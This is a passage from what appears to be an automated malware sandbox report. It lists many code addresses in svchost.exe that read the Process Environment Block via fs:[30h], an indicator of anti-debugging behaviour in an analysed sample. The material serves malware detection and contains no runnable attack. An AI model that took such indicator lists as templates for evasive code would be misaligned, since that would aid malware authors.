Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CE0274 mov eax, dword ptr fs:[00000030h]	1_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CE0274 mov eax, dword ptr fs:[00000030h]	1_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CE0274 mov eax, dword ptr fs:[00000030h]	1_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C2823B mov eax, dword ptr fs:[00000030h]	1_2_03C2823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CF61C3 mov eax, dword ptr fs:[00000030h]	1_2_03CF61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CF61C3 mov eax, dword ptr fs:[00000030h]	1_2_03CF61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CAE1D0 mov eax, dword ptr fs:[00000030h]	1_2_03CAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CAE1D0 mov eax, dword ptr fs:[00000030h]	1_2_03CAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CAE1D0 mov ecx, dword ptr fs:[00000030h]	1_2_03CAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CAE1D0 mov eax, dword ptr fs:[00000030h]	1_2_03CAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CAE1D0 mov eax, dword ptr fs:[00000030h]	1_2_03CAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03D061E5 mov eax, dword ptr fs:[00000030h]	1_2_03D061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C601F8 mov eax, dword ptr fs:[00000030h]	1_2_03C601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C70185 mov eax, dword ptr fs:[00000030h]	1_2_03C70185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CEC188 mov eax, dword ptr fs:[00000030h]	1_2_03CEC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CEC188 mov eax, dword ptr fs:[00000030h]	1_2_03CEC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CD4180 mov eax, dword ptr fs:[00000030h]	1_2_03CD4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CD4180 mov eax, dword ptr fs:[00000030h]	1_2_03CD4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB019F mov eax, dword ptr fs:[00000030h]	1_2_03CB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB019F mov eax, dword ptr fs:[00000030h]	1_2_03CB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB019F mov eax, dword ptr fs:[00000030h]	1_2_03CB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB019F mov eax, dword ptr fs:[00000030h]	1_2_03CB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C2A197 mov eax, dword ptr fs:[00000030h]	1_2_03C2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C2A197 mov eax, dword ptr fs:[00000030h]	1_2_03C2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C2A197 mov eax, dword ptr fs:[00000030h]	1_2_03C2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CC4144 mov eax, dword ptr fs:[00000030h]	1_2_03CC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CC4144 mov eax, dword ptr fs:[00000030h]	1_2_03CC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CC4144 mov ecx, dword ptr fs:[00000030h]	1_2_03CC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CC4144 mov eax, dword ptr fs:[00000030h]	1_2_03CC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CC4144 mov eax, dword ptr fs:[00000030h]	1_2_03CC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C2C156 mov eax, dword ptr fs:[00000030h]	1_2_03C2C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CC8158 mov eax, dword ptr fs:[00000030h]	1_2_03CC8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C36154 mov eax, dword ptr fs:[00000030h]	1_2_03C36154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C36154 mov eax, dword ptr fs:[00000030h]	1_2_03C36154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03D04164 mov eax, dword ptr fs:[00000030h]	1_2_03D04164
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03D04164 mov eax, dword ptr fs:[00000030h]	1_2_03D04164
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CDE10E mov eax, dword ptr fs:[00000030h]	1_2_03CDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CDE10E mov ecx, dword ptr fs:[00000030h]	1_2_03CDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CDE10E mov eax, dword ptr fs:[00000030h]	1_2_03CDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CDE10E mov eax, dword ptr fs:[00000030h]	1_2_03CDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CDE10E mov ecx, dword ptr fs:[00000030h]	1_2_03CDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CDE10E mov eax, dword ptr fs:[00000030h]	1_2_03CDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CDE10E mov eax, dword ptr fs:[00000030h]	1_2_03CDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CDE10E mov ecx, dword ptr fs:[00000030h]	1_2_03CDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CDE10E mov eax, dword ptr fs:[00000030h]	1_2_03CDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CDE10E mov ecx, dword ptr fs:[00000030h]	1_2_03CDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CDA118 mov ecx, dword ptr fs:[00000030h]	1_2_03CDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CDA118 mov eax, dword ptr fs:[00000030h]	1_2_03CDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CDA118 mov eax, dword ptr fs:[00000030h]	1_2_03CDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CDA118 mov eax, dword ptr fs:[00000030h]	1_2_03CDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CF0115 mov eax, dword ptr fs:[00000030h]	1_2_03CF0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C60124 mov eax, dword ptr fs:[00000030h]	1_2_03C60124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB20DE mov eax, dword ptr fs:[00000030h]	1_2_03CB20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C2A0E3 mov ecx, dword ptr fs:[00000030h]	1_2_03C2A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C380E9 mov eax, dword ptr fs:[00000030h]	1_2_03C380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB60E0 mov eax, dword ptr fs:[00000030h]	1_2_03CB60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C2C0F0 mov eax, dword ptr fs:[00000030h]	1_2_03C2C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C720F0 mov ecx, dword ptr fs:[00000030h]	1_2_03C720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C3208A mov eax, dword ptr fs:[00000030h]	1_2_03C3208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C280A0 mov eax, dword ptr fs:[00000030h]	1_2_03C280A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CC80A8 mov eax, dword ptr fs:[00000030h]	1_2_03CC80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CF60B8 mov eax, dword ptr fs:[00000030h]	1_2_03CF60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CF60B8 mov ecx, dword ptr fs:[00000030h]	1_2_03CF60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C32050 mov eax, dword ptr fs:[00000030h]	1_2_03C32050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB6050 mov eax, dword ptr fs:[00000030h]	1_2_03CB6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C5C073 mov eax, dword ptr fs:[00000030h]	1_2_03C5C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB4000 mov ecx, dword ptr fs:[00000030h]	1_2_03CB4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CD2000 mov eax, dword ptr fs:[00000030h]	1_2_03CD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CD2000 mov eax, dword ptr fs:[00000030h]	1_2_03CD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CD2000 mov eax, dword ptr fs:[00000030h]	1_2_03CD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CD2000 mov eax, dword ptr fs:[00000030h]	1_2_03CD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CD2000 mov eax, dword ptr fs:[00000030h]	1_2_03CD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CD2000 mov eax, dword ptr fs:[00000030h]	1_2_03CD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CD2000 mov eax, dword ptr fs:[00000030h]	1_2_03CD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CD2000 mov eax, dword ptr fs:[00000030h]	1_2_03CD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C4E016 mov eax, dword ptr fs:[00000030h]	1_2_03C4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C4E016 mov eax, dword ptr fs:[00000030h]	1_2_03C4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C4E016 mov eax, dword ptr fs:[00000030h]	1_2_03C4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C4E016 mov eax, dword ptr fs:[00000030h]	1_2_03C4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C2A020 mov eax, dword ptr fs:[00000030h]	1_2_03C2A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C2C020 mov eax, dword ptr fs:[00000030h]	1_2_03C2C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CC6030 mov eax, dword ptr fs:[00000030h]	1_2_03CC6030
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C3C7C0 mov eax, dword ptr fs:[00000030h]	1_2_03C3C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB07C3 mov eax, dword ptr fs:[00000030h]	1_2_03CB07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C527ED mov eax, dword ptr fs:[00000030h]	1_2_03C527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C527ED mov eax, dword ptr fs:[00000030h]	1_2_03C527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C527ED mov eax, dword ptr fs:[00000030h]	1_2_03C527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CBE7E1 mov eax, dword ptr fs:[00000030h]	1_2_03CBE7E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C347FB mov eax, dword ptr fs:[00000030h]	1_2_03C347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C347FB mov eax, dword ptr fs:[00000030h]	1_2_03C347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CD678E mov eax, dword ptr fs:[00000030h]	1_2_03CD678E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C307AF mov eax, dword ptr fs:[00000030h]	1_2_03C307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CE47A0 mov eax, dword ptr fs:[00000030h]	1_2_03CE47A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6674D mov esi, dword ptr fs:[00000030h]	1_2_03C6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6674D mov eax, dword ptr fs:[00000030h]	1_2_03C6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6674D mov eax, dword ptr fs:[00000030h]	1_2_03C6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C30750 mov eax, dword ptr fs:[00000030h]	1_2_03C30750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CBE75D mov eax, dword ptr fs:[00000030h]	1_2_03CBE75D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C72750 mov eax, dword ptr fs:[00000030h]	1_2_03C72750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C72750 mov eax, dword ptr fs:[00000030h]	1_2_03C72750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB4755 mov eax, dword ptr fs:[00000030h]	1_2_03CB4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C38770 mov eax, dword ptr fs:[00000030h]	1_2_03C38770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C40770 mov eax, dword ptr fs:[00000030h]	1_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C40770 mov eax, dword ptr fs:[00000030h]	1_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C40770 mov eax, dword ptr fs:[00000030h]	1_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C40770 mov eax, dword ptr fs:[00000030h]	1_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C40770 mov eax, dword ptr fs:[00000030h]	1_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C40770 mov eax, dword ptr fs:[00000030h]	1_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C40770 mov eax, dword ptr fs:[00000030h]	1_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C40770 mov eax, dword ptr fs:[00000030h]	1_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C40770 mov eax, dword ptr fs:[00000030h]	1_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C40770 mov eax, dword ptr fs:[00000030h]	1_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C40770 mov eax, dword ptr fs:[00000030h]	1_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C40770 mov eax, dword ptr fs:[00000030h]	1_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6C700 mov eax, dword ptr fs:[00000030h]	1_2_03C6C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C30710 mov eax, dword ptr fs:[00000030h]	1_2_03C30710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C60710 mov eax, dword ptr fs:[00000030h]	1_2_03C60710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6C720 mov eax, dword ptr fs:[00000030h]	1_2_03C6C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6C720 mov eax, dword ptr fs:[00000030h]	1_2_03C6C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6273C mov eax, dword ptr fs:[00000030h]	1_2_03C6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6273C mov ecx, dword ptr fs:[00000030h]	1_2_03C6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6273C mov eax, dword ptr fs:[00000030h]	1_2_03C6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CAC730 mov eax, dword ptr fs:[00000030h]	1_2_03CAC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6A6C7 mov ebx, dword ptr fs:[00000030h]	1_2_03C6A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6A6C7 mov eax, dword ptr fs:[00000030h]	1_2_03C6A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CAE6F2 mov eax, dword ptr fs:[00000030h]	1_2_03CAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CAE6F2 mov eax, dword ptr fs:[00000030h]	1_2_03CAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CAE6F2 mov eax, dword ptr fs:[00000030h]	1_2_03CAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CAE6F2 mov eax, dword ptr fs:[00000030h]	1_2_03CAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB06F1 mov eax, dword ptr fs:[00000030h]	1_2_03CB06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB06F1 mov eax, dword ptr fs:[00000030h]	1_2_03CB06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C34690 mov eax, dword ptr fs:[00000030h]	1_2_03C34690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C34690 mov eax, dword ptr fs:[00000030h]	1_2_03C34690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6C6A6 mov eax, dword ptr fs:[00000030h]	1_2_03C6C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C666B0 mov eax, dword ptr fs:[00000030h]	1_2_03C666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C4C640 mov eax, dword ptr fs:[00000030h]	1_2_03C4C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CF866E mov eax, dword ptr fs:[00000030h]	1_2_03CF866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CF866E mov eax, dword ptr fs:[00000030h]	1_2_03CF866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6A660 mov eax, dword ptr fs:[00000030h]	1_2_03C6A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6A660 mov eax, dword ptr fs:[00000030h]	1_2_03C6A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C62674 mov eax, dword ptr fs:[00000030h]	1_2_03C62674
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CAE609 mov eax, dword ptr fs:[00000030h]	1_2_03CAE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C4260B mov eax, dword ptr fs:[00000030h]	1_2_03C4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C4260B mov eax, dword ptr fs:[00000030h]	1_2_03C4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C4260B mov eax, dword ptr fs:[00000030h]	1_2_03C4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C4260B mov eax, dword ptr fs:[00000030h]	1_2_03C4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C4260B mov eax, dword ptr fs:[00000030h]	1_2_03C4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C4260B mov eax, dword ptr fs:[00000030h]	1_2_03C4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C4260B mov eax, dword ptr fs:[00000030h]	1_2_03C4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C72619 mov eax, dword ptr fs:[00000030h]	1_2_03C72619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C4E627 mov eax, dword ptr fs:[00000030h]	1_2_03C4E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C66620 mov eax, dword ptr fs:[00000030h]	1_2_03C66620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C68620 mov eax, dword ptr fs:[00000030h]	1_2_03C68620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C3262C mov eax, dword ptr fs:[00000030h]	1_2_03C3262C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6E5CF mov eax, dword ptr fs:[00000030h]	1_2_03C6E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6E5CF mov eax, dword ptr fs:[00000030h]	1_2_03C6E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C365D0 mov eax, dword ptr fs:[00000030h]	1_2_03C365D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6A5D0 mov eax, dword ptr fs:[00000030h]	1_2_03C6A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6A5D0 mov eax, dword ptr fs:[00000030h]	1_2_03C6A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C5E5E7 mov eax, dword ptr fs:[00000030h]	1_2_03C5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C5E5E7 mov eax, dword ptr fs:[00000030h]	1_2_03C5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C5E5E7 mov eax, dword ptr fs:[00000030h]	1_2_03C5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C5E5E7 mov eax, dword ptr fs:[00000030h]	1_2_03C5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C5E5E7 mov eax, dword ptr fs:[00000030h]	1_2_03C5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C5E5E7 mov eax, dword ptr fs:[00000030h]	1_2_03C5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C5E5E7 mov eax, dword ptr fs:[00000030h]	1_2_03C5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C5E5E7 mov eax, dword ptr fs:[00000030h]	1_2_03C5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C325E0 mov eax, dword ptr fs:[00000030h]	1_2_03C325E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6C5ED mov eax, dword ptr fs:[00000030h]	1_2_03C6C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6C5ED mov eax, dword ptr fs:[00000030h]	1_2_03C6C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C32582 mov eax, dword ptr fs:[00000030h]	1_2_03C32582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C32582 mov ecx, dword ptr fs:[00000030h]	1_2_03C32582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C64588 mov eax, dword ptr fs:[00000030h]	1_2_03C64588
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6E59C mov eax, dword ptr fs:[00000030h]	1_2_03C6E59C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB05A7 mov eax, dword ptr fs:[00000030h]	1_2_03CB05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB05A7 mov eax, dword ptr fs:[00000030h]	1_2_03CB05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB05A7 mov eax, dword ptr fs:[00000030h]	1_2_03CB05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C545B1 mov eax, dword ptr fs:[00000030h]	1_2_03C545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C545B1 mov eax, dword ptr fs:[00000030h]	1_2_03C545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C38550 mov eax, dword ptr fs:[00000030h]	1_2_03C38550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C38550 mov eax, dword ptr fs:[00000030h]	1_2_03C38550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6656A mov eax, dword ptr fs:[00000030h]	1_2_03C6656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6656A mov eax, dword ptr fs:[00000030h]	1_2_03C6656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6656A mov eax, dword ptr fs:[00000030h]	1_2_03C6656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CC6500 mov eax, dword ptr fs:[00000030h]	1_2_03CC6500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03D04500 mov eax, dword ptr fs:[00000030h]	1_2_03D04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03D04500 mov eax, dword ptr fs:[00000030h]	1_2_03D04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03D04500 mov eax, dword ptr fs:[00000030h]	1_2_03D04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03D04500 mov eax, dword ptr fs:[00000030h]	1_2_03D04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03D04500 mov eax, dword ptr fs:[00000030h]	1_2_03D04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03D04500 mov eax, dword ptr fs:[00000030h]	1_2_03D04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03D04500 mov eax, dword ptr fs:[00000030h]	1_2_03D04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C40535 mov eax, dword ptr fs:[00000030h]	1_2_03C40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C40535 mov eax, dword ptr fs:[00000030h]	1_2_03C40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C40535 mov eax, dword ptr fs:[00000030h]	1_2_03C40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C40535 mov eax, dword ptr fs:[00000030h]	1_2_03C40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C40535 mov eax, dword ptr fs:[00000030h]	1_2_03C40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C40535 mov eax, dword ptr fs:[00000030h]	1_2_03C40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C5E53E mov eax, dword ptr fs:[00000030h]	1_2_03C5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C5E53E mov eax, dword ptr fs:[00000030h]	1_2_03C5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C5E53E mov eax, dword ptr fs:[00000030h]	1_2_03C5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C5E53E mov eax, dword ptr fs:[00000030h]	1_2_03C5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C5E53E mov eax, dword ptr fs:[00000030h]	1_2_03C5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C304E5 mov ecx, dword ptr fs:[00000030h]	1_2_03C304E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CEA49A mov eax, dword ptr fs:[00000030h]	1_2_03CEA49A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C364AB mov eax, dword ptr fs:[00000030h]	1_2_03C364AB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C644B0 mov ecx, dword ptr fs:[00000030h]	1_2_03C644B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CBA4B0 mov eax, dword ptr fs:[00000030h]	1_2_03CBA4B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6E443 mov eax, dword ptr fs:[00000030h]	1_2_03C6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6E443 mov eax, dword ptr fs:[00000030h]	1_2_03C6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6E443 mov eax, dword ptr fs:[00000030h]	1_2_03C6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6E443 mov eax, dword ptr fs:[00000030h]	1_2_03C6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6E443 mov eax, dword ptr fs:[00000030h]	1_2_03C6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6E443 mov eax, dword ptr fs:[00000030h]	1_2_03C6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6E443 mov eax, dword ptr fs:[00000030h]	1_2_03C6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6E443 mov eax, dword ptr fs:[00000030h]	1_2_03C6E443
